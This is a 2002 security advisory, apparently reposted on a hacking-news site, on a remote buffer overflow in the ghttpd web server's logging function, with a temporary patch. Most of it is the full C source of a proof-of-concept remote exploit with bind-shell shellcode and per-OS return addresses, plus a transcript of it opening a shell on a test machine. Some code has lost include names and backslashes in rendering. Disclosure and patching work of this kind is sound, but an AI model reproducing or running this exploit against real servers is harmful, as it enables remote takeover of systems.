Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Pyramid Research Project - ghttpd security advisorie

Pyramid Research Project - ghttpd security advisorie

by Nikola Strahija on October 15th, 2002 Ghttpd is a fast and efficient HTTP server that has CGI support. Ghttpd has a small memory inprint and is capable of handling thousands of simultanious connections. It is ideal for large and small websites.


- - Issue Specifics
==================

Ghttpd server contains a remotely exploitable buffer overflow
which allows an attacker to gain ghttpd's previleges.

The overflow occurs when a long "GET " query is sent trough
a session and this is logged by the function Log():

protocol.c:103:
Log("Connection from %s, request = "GET %s"",
inet_ntoa(sa.sin_addr), ptr);

While executing the Log() function a buffer is copied without
checking boundries resulting in a buffer overflow:

util.c:208: void Log(char *format, ...)
util.c:213: char temp[200], temp2[200], logfilename[255];
util.c:219: vsprintf(temp, format, ap);

This flaw was detected in the latest ghttpd version(1.4-3) but
it's likely that the problem exists in previous versions as well, altough
this was not tested.

A proof of concept exploit was coded for ghttpd servers running on
"i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1"
operating systems.

[[email protected] httpd]# uname -a
Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
[[email protected] ghttpd]# cat /etc/issue
Red Hat Linux release 7.3 (Valhalla)

[[email protected] httpd]# ls -al ghttpd
- -rwxr-xr-x 1 nobody nobody 34687 Sep 27 02:04 ghttpd

[[email protected] httpd]# id
uid=0(root) gid=0(root) groups=0(root),
1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[[email protected] httpd]# ./ghttpd
[[email protected] httpd]# ghttpd launched into background, PID = 851

[[email protected] httpd]# ./PRPghttpd -b 127.0.0.1
Server: GazTek HTTP Daemon v1.4

[[email protected] httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1
target: 127.0.0.1
arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0
ip size: 9 bytes
Adjust: 0 bytes
buffer size: 204 bytes
bind shellcode size: 128 bytes
bind shell tcp port: 36864
Injecting code at 0xbfffb9c0...
Done!

[[email protected] httpd]$ telnet localhost 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=99(nobody) gid=99(nobody)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found

- - Temporary Patch
==================

Another similar bug affects the Log() function, so here's a
temporary fix for both.

+++ util.c Sat Sep 28 01:26:33 2002
@@ -210,12 +210,16 @@
FILE *logfile;
time_t t;
struct tm *tm;
- - char temp[200], temp2[200], logfilename[255];
+ char *temp, *temp2;
+ char logfilename[255];
char datetime[] = "[%d.%m.%Y] [%H:%M.%S]";
char datetime_final[128];
va_list ap;

va_start(ap, format); // format it all into temp
+
+ /* temp[200] overflow patch */
+ temp = malloc(strlen(format)+1024);
- - vsprintf(temp, format, ap);
+ vsnprintf(temp, strlen(format)+1024, format, ap);
va_end(ap);

@@ -225,6 +229,8 @@
strftime(datetime_final, 127, datetime, tm);

// format it all so we have date/time/loginfo
+ /* temp2[200] overflow patch */
+ temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5));
sprintf(temp2, "%s - %sn", datetime_final, temp);
sprintf(logfilename, "%s/ghttpd.log", SERVERROOT);

@@ -234,4 +240,4 @@
fputs(temp2, logfile); // Save to the file

fclose(logfile); // Close file
- -}
No newline at end of file
+}

EOF

/* PRPghttpd.c

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.

-

PYR/MID, Research Project
Author: flea
Date: October 7, 2002
Members: Apm, flea, thread

Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

Works on:
i386 Redhat 7.2
i386 Redhat 7.3
i386 Slackware 8.1

*/

#include
#include
#include
#include
#include
#include
#include
#include

#define NOP 0x90
#define MIN_BUFFER_SIZE 198
#define MAX_IP_LENGHT 15
#define GAZTEK_PORT 80
#define BIND_PORT 36864

void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);

#define ARCH_NUMBER 4

struct arch {
int id;
char *os;
long addr;
int adjusted_buf;
} architectures[] = {
{0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
{1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
{2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
{3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
};

char bindshell[] =
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";

void synops(char *argv[])
{
int i;

printf("PYR/\MID, Research Project 02n");
printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.n");
printf("SYNOPS: %s [-b ] -d nn", argv[0]);
printf(" - ip address to check lenghtn");
printf(" - remote target ip addrn");
printf(" - remote architecture idn");
printf(" - ip addr to check bannernn");
printf("Architectures id:n");

for(i=0; i printf("t%d, %s, 0x%xn", architectures[i].id, architectures[i].os, architectures[i].addr);

exit(0);
}

void get_ban(char *ban_addr)
{
int i, sock_fd;
char *read_buf, *read_buf_toked, *ptr;
struct sockaddr_in target;

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
printf("socket() error.n");
exit(-1);
}

target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);

if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
{
printf(""%s" is an invalid ip address.n", ban_addr);
exit(-1);
}

bzero(&(target.sin_zero), 8);

if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
{
printf("connect() error.n");
exit(-1);
}

if((write(sock_fd, "HEAD HTTP /nn", 13)) == -1)
{
printf("write() error.n");
exit(-1);
}

read_buf = malloc(256);
read_buf_toked = malloc(256);

if((read(sock_fd, read_buf, 256)) == -1)
{
printf("read() error.n");
exit(-1);
}

strcpy(read_buf_toked, read_buf);
ptr = strstr(read_buf_toked, "Server");
ptr = strtok(ptr, "n");

printf("%snn", ptr);

printf("****** FULL HEADERS ******n");
ptr = strtok(read_buf, "n");

for(i=0; i<4; i++)
{
ptr = strtok(NULL, "n");
printf("%sn", ptr);
}
printf("****** FULL HEADERS ******n");
exit(0);
}

main(int argc, char *argv[])
{
int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
char *addr, *get_buf, *get_buf_str;
long ret;

extern char *optarg;
extern int optind, optopt;

struct sockaddr_in target;

if(argc == 1)
synops(argv);

while((c = getopt(argc, argv, "b:d:")) != -1)
{
switch(c)
{
case 'b':
addr = malloc(strlen(optarg));
strcpy(addr, optarg);
ban_chk++;
break;
case 'd':
if(!(argv[optind]))
errflg++;
if(!(argv[optind+1]))
errflg++;
if(errflg == 0)
{
if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
{
printf("Invalid architecture id.n");
exit(-1);
}

if((inet_addr(argv[optind])) != -1)
ip_lenght = strlen(argv[optind+1]);
else
{
printf(""%s" is an invalid ip address.n", argv[optind]);
exit(-1);
}
addr = malloc(strlen(argv[optind+1]));
strcpy(addr, argv[optind+1]+1);
exp_flg++;
}

break;
case ':':
errflg++;
break;
case '?':
errflg++;
}
}

if(errflg > 0)
synops(argv);

/* check banner info */
if(ban_chk > 0)
get_ban(addr);

if(!(exp_flg))
synops(argv);
/*
Buffer Size Craft Relation
min string size = 192 bytes
string "GET _" size = 4 bytes
max log ip size "255.255.255.255" = 15 bytes
string "nn" size = 2 bytes
= 198 bytes
*/
/* dont count with GET request and newline bytes */
c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
/* NULL string byte */
c_size = c_size+1;

/* builds crafted buffer */
get_buf = malloc(c_size);
/* counts with all constants sizes */
get_buf_str = malloc((c_size+4+2));

memset(get_buf, NOP, c_size);
memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
*(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
get_buf[c_size-1] = '';

/* final buffer, now just inject on connection */
sprintf(get_buf_str,"GET %snn", get_buf);

/* infos */
printf("target: %sn", addr);
printf("arch id: %d, %s, 0x%xn", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);
printf("ip size: %d bytesn", ip_lenght);
printf("Adjust: %d bytesn", architectures[arch_id].adjusted_buf);
printf("buffer size: %d bytesn", strlen(get_buf_str));
printf("bind shellcode size: %d bytesn", strlen(bindshell));
printf("bind shell tcp port: %dn", BIND_PORT);
printf("Injecting code at 0x%x...n", architectures[arch_id].addr);

/* start socket() */

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
printf("socket() error.n");
exit(-1);
}

target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);

if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
{
printf(""%s" is an invalid ip address.n", addr);
exit(-1);
}

bzero(&(target.sin_zero), 8);

if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
{
printf("connect() error.n");
exit(-1);
}

if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
{
printf("write() error.n");
exit(-1);
}

printf("Done!n");

return 0;
}



-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify

wl8EARECAB8FAj15T9MYHHB5cmFtaWQtcnBAaHVzaG1haWwuY29tAAoJEJnK0tsmALZM
9eoAn14AUX4T1UHVPwY08H4eDqMoBmhtAKCPygPI/psdGVI3k/4zwJ1bqJ6esg==
=kmgF
-----END PGP SIGNATURE-----




Get your free encrypted email at https://www.hushmail.com


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »